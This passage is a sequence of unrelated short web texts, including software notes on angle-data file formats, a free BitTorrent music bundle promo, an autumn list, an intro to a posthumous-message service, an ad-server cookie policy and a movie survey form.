needs the range 1..360°.
For manual data input the choice between 1..360° and 1..400gon must be made in the menu 'angle'
The extensions for files of these data types are:
*.STR no polarity, pure directions
*.LST no polarity, directions with lengths
*.AZI with polarity, pure directions
*.LAZ with polarity, directions with lengths


Black Label XXLThe Free BitTorrent™ BundleNever Say Die are extremely proud to present ‘Black Label XXL’. The label’s biggest ever release with 20 tracks and an ID-packed mix from label boss SKisM. The album sees the return of Black Label titans Trampa, Megalodon, Dr. Ozi, Krimer and BadKlaat as well as a host of other familiar names, and welcomes across Zomboy from Never Say Die, making his Black Label debut! We’d like to extend a special welcome to all the new faces to the Black Label family including Space Laces, Stabby, Algo, Midnight Tyrannosaurus, The Others, NCT, Subject 31, Esq, Graphyt, Ecraze, Tokez, Blankface and Definitive.This FREE BitTorrent Bundle contains:
Unlocking this Bundle will get you...
Click HERE to Unlock! |


Why autumn is so great.
Autumn is a great time because, crunchy leaves. There's nothing quite like that crisp sound beneath your feet.
Hot drinks galore. Bring on the hot chocolate and Pumpkin Spice Lattes.
Cosy jumpers and thick socks.
All the best TV.
Fresh air and rosy cheeks.
All of the food.
Halloween.
Crackling fires.
Enjoy the autumn time!


×
Welcome to Post. We are a service that allows people to prepare adventures for their loved ones after they have passed away. First and foremost we would like to offer our condolences. We are committed to your wellbeing, and want to ensure that your grieving process is a healthy and positive experience. This time must be incredibly hard for you in ways that we can’t even begin to comprehend, but your father, Richard, asked us to deliver a message to you. He prepared this message to support your road to recovery, should you choose to accept it.
My dear son, I know that this must be a difficult time for you, so I wanted to send you a little gift from the great beyond, in the hope that it brings you some comfort and closure. I know that you must be sceptical, but I do hope that you will consider this experience as a way of saying goodbye.
For one last adventure.


Privacy
Phaistos Networks is a provider of services for managing and delivery interactive advertisements, though its Adman Platform (adserver).
COOKIES
The Adman Platform is using browser cookies for delivering the advertisements to the right users.
Cookies are tiny text files, sent to the computer of the viewers when they visit web sites utilizing the Adman Service for managing their web-spaces inventory. The cookies are sent only if the users/visitors have chosen to accept cookies, through the options configuration of their browser.
Those cookies are in no way used for recording private / personal information, nor they interfere or examine any files on their computers. They are used only for tracking the uniqueness of the viewer, helping Adman to decide which advertisement should be displayed to them when they view web pages.
OPT-IN / OPT-OUT PROCEDURE
If you wish to delete any cookies sent by Adman to your browser and cancel the receipt of any future cookies from the service, click on the OptOut button below:
Through OptOut procedure a new unique ADMAN OptOut cookie is installed in your computer so as to technically achieve preventing future installation of the ADMAN cookies. In case you delete the ADMAN OptOut cookie you must repeat from the start the OptOut process of preventing new ADMAN cookies.
If after the OptOut process you wish to accept ADMAN cookies again in your computer, you should click the OptIn button above.
If you are unable to perform the cookies blocking procedure using the detailed instructions provided within this page, our support department will be more than happy to help you with it. You may contact us through mail at<EMAIL_ADDRESS>or call us : +30-28920-27800.
Phaistos Networks advices all web-sites using the ADMAN platform for delivery and management of their inventory to inform their visitors regarding the opt-out facility by linking to this page.


movies survey form
Are you a true marathon person?
What's your name?
Could you give us your email, please?
How old are you?
(optional)
How often do you watch movies?
Not at all often
Slightly often
Moderately often
Very often
Extremely often
What attracts you to see certain films?
Actor/actress
The Director
Story
Country
Reviews from movie critics
What is your favourite kind of movies?
Comedy
Documentary
Action/Adventure
Horror
Romance
Drama
What movie would you like to see at your next movie night?